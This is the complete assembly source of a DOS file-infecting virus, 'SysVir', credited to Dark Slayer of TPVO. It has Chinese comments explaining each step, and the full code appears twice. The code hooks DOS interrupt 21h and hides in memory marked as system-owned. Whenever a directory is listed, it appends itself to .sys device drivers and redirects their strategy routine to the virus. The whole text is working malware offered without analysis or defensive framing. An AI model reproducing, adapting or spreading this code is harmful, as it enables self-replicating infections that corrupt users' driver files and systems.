暴
暴峰雨
======================= Begin of sysvir.asm ================================
vir_size equ offset vir_end-offset start
mem_size equ offset mem_end-offset start
mem_para equ (mem_size+0fh)/10h
.model tiny
.code
org 0
start:
vir_stgy: pushf ; 病毒的 straegy
push ax cx si di ds es
call delta ; 重定位
delta: pop si
sub si,offset delta-offset start
push cs ; ds = cs
pop ds
xor di,di ; di = 0
mov ax,ds:old_stgy[si] ; 取出原档案的 straegy offset
mov ds:dh_stgy[di],ax ; 恢复 straegy offset
mov ax,ds:old_name[si] ; 取出原档案的 device name
mov word ptr ds:dh_name[di+6],ax ; 恢复 device name
mov es,di ; es = di = 0
cmp byte ptr es:[4fah],0eah ; 是否已经常驻?
je run_host ; 是则离开, 不需再常驻
mov ax,4fah ; 修改 int 21h 指向 0000:04fah
xchg ax,es:[21h*4]
mov ds:old21[si],ax
xor ax,ax
xchg ax,es:[21h*4+2]
mov ds:old21[si+2],ax
; 修改 0000:04fah 使 jmp xxxx:xxxx 跳
; 至病毒的 vir_int21
mov byte ptr es:[4fah],0eah
mov word ptr es:[4fah+1],offset vir_int21
int 12h ; 取得计忆体大小 (kilo size)
sub ax,150 ; 我们暂时常驻在倒数 150k 的地方
mov cl,6
shl ax,cl
mov es:[4fah+1+2],ax
mov es,ax
mov cx,vir_size
cld
rep movsb ; 搬家, 搬到临时住所
mov ah,4
int 1ah ; 取得日期
and dl,0fh
cmp dl,1 ; 是否为 x 月 1/11/21/31 日?
jne run_host ; 不是则离开
lea dx,[si-vir_size+offset msg]
mov ah,9
int 21h ; 印出讯息
run_host: pop es ds di si cx ax
popf
jmp word ptr cs:dh_stgy ; 跳到原驱动程式的 straegy
msg db 0dh,0ah,' SysVir by Dark Slayer '
db 'of [TPVO] in Keelung, Taiwan ',0dh,0ah,7,'$'
vir_int21: cmp ax,4b00h ; 执行档案
jne vir_int21_ ; 不是则离开
push ax bx cx si di ds es
mov ah,48h
mov bx,mem_para
call int21 ; 配置一块记忆体来常驻
xor di,di
mov ds,di ; ds = di = 0
mov word ptr ds:[4fah+1],offset vir_int21_
; 重设 0000:04fah 使其跳至 vir_int21_
mov ds:[4fah+1+2],ax ; 指向新的区段
mov es,ax
xor si,si
mov cx,vir_size
cld
rep movs byte ptr es:[di],cs:[si] ; 开始搬家
dec ax
mov ds,ax
mov word ptr ds:mcb_owner_psp,8 ; 将此记忆体标为系统
pop es ds di si cx bx ax
vir_int21_: cmp ah,11h ; dir?
je dir ; 若是则找个 sys 档来感染
jmp vir_int21_exit
dir: push ax bx cx dx si di bp ds es
mov ah,2fh
call int21 ; 取得 dta 位址
push bx es ; 保存起来
mov ah,1ah
mov dx,offset vir_dta
push cs
pop ds
call int21 ; 设置我们自己专用的 dta
mov ah,4eh
xor cx,cx
mov dx,offset find_file_name
find_file: call int21 ; 搜寻 *.sys 档
jc no_files ; 若已经没有档案则离开
xor bp,bp ; bp = 0 (当旗标, 表示还没感染到档案)
mov ax,3d02h
mov dx,offset vir_dta+dta_file_name
call int21 ; 开启找到的这个档
xchg bx,ax
mov ah,3fh
mov cx,18
mov dx,offset file_data
mov si,dx
call int21 ; 读取 18 bytes 至 file_data
mov ax,word ptr ds:[si+dh_link]
inc ax ; 比较档案开头的 2 words 是否
jnz close_file ; 为 0ffffh ?? (一般非 exe 档
dec ax ; 格式的驱动程式)
cmp ax,word ptr ds:[si+dh_link+2]
jne close_file
mov ax,'DS'
cmp ax,word ptr ds:[si+dh_name+6]
; 比较装置名称是否以经有 mark 'DS'
je close_file ; 有! 表示已经感染过, 那就不再感染
xchg ax,word ptr ds:[si+dh_name+6] ; 设 mark
mov ds:old_name,ax ; 并将原来的名称保存
mov ax,word ptr ds:vir_dta[dta_file_size]
; 从 dta 中取得档案大小
xchg ax,word ptr ds:file_data[dh_stgy]
; 将此档的 strategy 改至档尾, 也就是病毒的开端
mov ds:old_stgy,ax ; 保存旧的
mov ax,4200h
xor cx,cx
cwd
call int21 ; 移动读写指标至档头
mov ah,40h
mov cl,18
mov dx,offset file_data
call int21 ; 写入新档头
mov ax,4202h
xor cx,cx
cwd
call int21 ; 移至档尾
mov ah,40h
mov cx,vir_size
call int21 ; 写入病毒
inc bp ; bp = 1 (表示已经感染过一个档案)
close_file: mov ah,3eh
call int21 ; 关档
mov ah,4fh ; ah = 4fh (搜寻下一个档案)
or bp,bp ; 已经感染过档案?
jz find_file ; 还没, 那再搜寻下一个档案吧
no_files: mov ah,1ah
pop ds dx
call int21 ; 恢复原先的 dta 位址
pop es ds bp di si dx cx bx ax
vir_int21_exit: db 0eah
old21 dw ?,? ; 跳至 dos 的 int 21h
int21: pushf
push cs
call vir_int21_exit
ret
find_file_name db '*.sys',0
old_stgy dw 0
old_name dw ?
vir_end:
vir_dta db 2ch dup(?)
file_data db 18 dup(?)
mem_end:
driver_header struc
dh_link dd ?
dh_attribute dw ?
dh_stgy dw ?
dh_intr dw ?
dh_name db 8 dup(?)
driver_header ends
mcb struc
mcb_mark db ?
mcb_owner_psp dw ?
mcb_para dw ?
mcb ends
dta struc
db 15h dup(?)
dta_file_attribute db ?
dta_file_time dw ?
dta_file_date dw ?
dta_file_size dd ?
dta_file_name db 13 dup(?)
dta ends
end start
;======================= End of sysvir.asm ==================================
vir_size equ offset vir_end-offset start
mem_size equ offset mem_end-offset start
mem_para equ (mem_size+0fh)/10h
.model tiny
.code
org 0
start:
vir_stgy: pushf ; 病毒的 straegy
push ax cx si di ds es
call delta ; 重定位
delta: pop si
sub si,offset delta-offset start
push cs ; ds = cs
pop ds
xor di,di ; di = 0
mov ax,ds:old_stgy[si] ; 取出原档案的 straegy offset
mov ds:dh_stgy[di],ax ; 恢复 straegy offset
mov ax,ds:old_name[si] ; 取出原档案的 device name
mov word ptr ds:dh_name[di+6],ax ; 恢复 device name
mov es,di ; es = di = 0
cmp byte ptr es:[4fah],0eah ; 是否已经常驻?
je run_host ; 是则离开, 不需再常驻
mov ax,4fah ; 修改 int 21h 指向 0000:04fah
xchg ax,es:[21h*4]
mov ds:old21[si],ax
xor ax,ax
xchg ax,es:[21h*4+2]
mov ds:old21[si+2],ax
; 修改 0000:04fah 使 jmp xxxx:xxxx 跳
; 至病毒的 vir_int21
mov byte ptr es:[4fah],0eah
mov word ptr es:[4fah+1],offset vir_int21
int 12h ; 取得计忆体大小 (kilo size)
sub ax,150 ; 我们暂时常驻在倒数 150k 的地方
mov cl,6
shl ax,cl
mov es:[4fah+1+2],ax
mov es,ax
mov cx,vir_size
cld
rep movsb ; 搬家, 搬到临时住所
mov ah,4
int 1ah ; 取得日期
and dl,0fh
cmp dl,1 ; 是否为 x 月 1/11/21/31 日?
jne run_host ; 不是则离开
lea dx,[si-vir_size+offset msg]
mov ah,9
int 21h ; 印出讯息
run_host: pop es ds di si cx ax
popf
jmp word ptr cs:dh_stgy ; 跳到原驱动程式的 straegy
msg db 0dh,0ah,' SysVir by Dark Slayer '
db 'of [TPVO] in Keelung, Taiwan ',0dh,0ah,7,'$'
vir_int21: cmp ax,4b00h ; 执行档案
jne vir_int21_ ; 不是则离开
push ax bx cx si di ds es
mov ah,48h
mov bx,mem_para
call int21 ; 配置一块记忆体来常驻
xor di,di
mov ds,di ; ds = di = 0
mov word ptr ds:[4fah+1],offset vir_int21_
; 重设 0000:04fah 使其跳至 vir_int21_
mov ds:[4fah+1+2],ax ; 指向新的区段
mov es,ax
xor si,si
mov cx,vir_size
cld
rep movs byte ptr es:[di],cs:[si] ; 开始搬家
dec ax
mov ds,ax
mov word ptr ds:mcb_owner_psp,8 ; 将此记忆体标为系统
pop es ds di si cx bx ax
vir_int21_: cmp ah,11h ; dir?
je dir ; 若是则找个 sys 档来感染
jmp vir_int21_exit
dir: push ax bx cx dx si di bp ds es
mov ah,2fh
call int21 ; 取得 dta 位址
push bx es ; 保存起来
mov ah,1ah
mov dx,offset vir_dta
push cs
pop ds
call int21 ; 设置我们自己专用的 dta
mov ah,4eh
xor cx,cx
mov dx,offset find_file_name
find_file: call int21 ; 搜寻 *.sys 档
jc no_files ; 若已经没有档案则离开
xor bp,bp ; bp = 0 (当旗标, 表示还没感染到档案)
mov ax,3d02h
mov dx,offset vir_dta+dta_file_name
call int21 ; 开启找到的这个档
xchg bx,ax
mov ah,3fh
mov cx,18
mov dx,offset file_data
mov si,dx
call int21 ; 读取 18 bytes 至 file_data
mov ax,word ptr ds:[si+dh_link]
inc ax ; 比较档案开头的 2 words 是否
jnz close_file ; 为 0ffffh ?? (一般非 exe 档
dec ax ; 格式的驱动程式)
cmp ax,word ptr ds:[si+dh_link+2]
jne close_file
mov ax,'DS'
cmp ax,word ptr ds:[si+dh_name+6]
; 比较装置名称是否以经有 mark 'DS'
je close_file ; 有! 表示已经感染过, 那就不再感染
xchg ax,word ptr ds:[si+dh_name+6] ; 设 mark
mov ds:old_name,ax ; 并将原来的名称保存
mov ax,word ptr ds:vir_dta[dta_file_size]
; 从 dta 中取得档案大小
xchg ax,word ptr ds:file_data[dh_stgy]
; 将此档的 strategy 改至档尾, 也就是病毒的开端
mov ds:old_stgy,ax ; 保存旧的
mov ax,4200h
xor cx,cx
cwd
call int21 ; 移动读写指标至档头
mov ah,40h
mov cl,18
mov dx,offset file_data
call int21 ; 写入新档头
mov ax,4202h
xor cx,cx
cwd
call int21 ; 移至档尾
mov ah,40h
mov cx,vir_size
call int21 ; 写入病毒
inc bp ; bp = 1 (表示已经感染过一个档案)
close_file: mov ah,3eh
call int21 ; 关档
mov ah,4fh ; ah = 4fh (搜寻下一个档案)
or bp,bp ; 已经感染过档案?
jz find_file ; 还没, 那再搜寻下一个档案吧
no_files: mov ah,1ah
pop ds dx
call int21 ; 恢复原先的 dta 位址
pop es ds bp di si dx cx bx ax
vir_int21_exit: db 0eah
old21 dw ?,? ; 跳至 dos 的 int 21h
int21: pushf
push cs
call vir_int21_exit
ret
find_file_name db '*.sys',0
old_stgy dw 0
old_name dw ?
vir_end:
vir_dta db 2ch dup(?)
file_data db 18 dup(?)
mem_end:
driver_header struc
dh_link dd ?
dh_attribute dw ?
dh_stgy dw ?
dh_intr dw ?
dh_name db 8 dup(?)
driver_header ends
mcb struc
mcb_mark db ?
mcb_owner_psp dw ?
mcb_para dw ?
mcb ends
dta struc
db 15h dup(?)
dta_file_attribute db ?
dta_file_time dw ?
dta_file_date dw ?
dta_file_size dd ?
dta_file_name db 13 dup(?)
dta ends
end start
;======================= End of sysvir.asm ==================================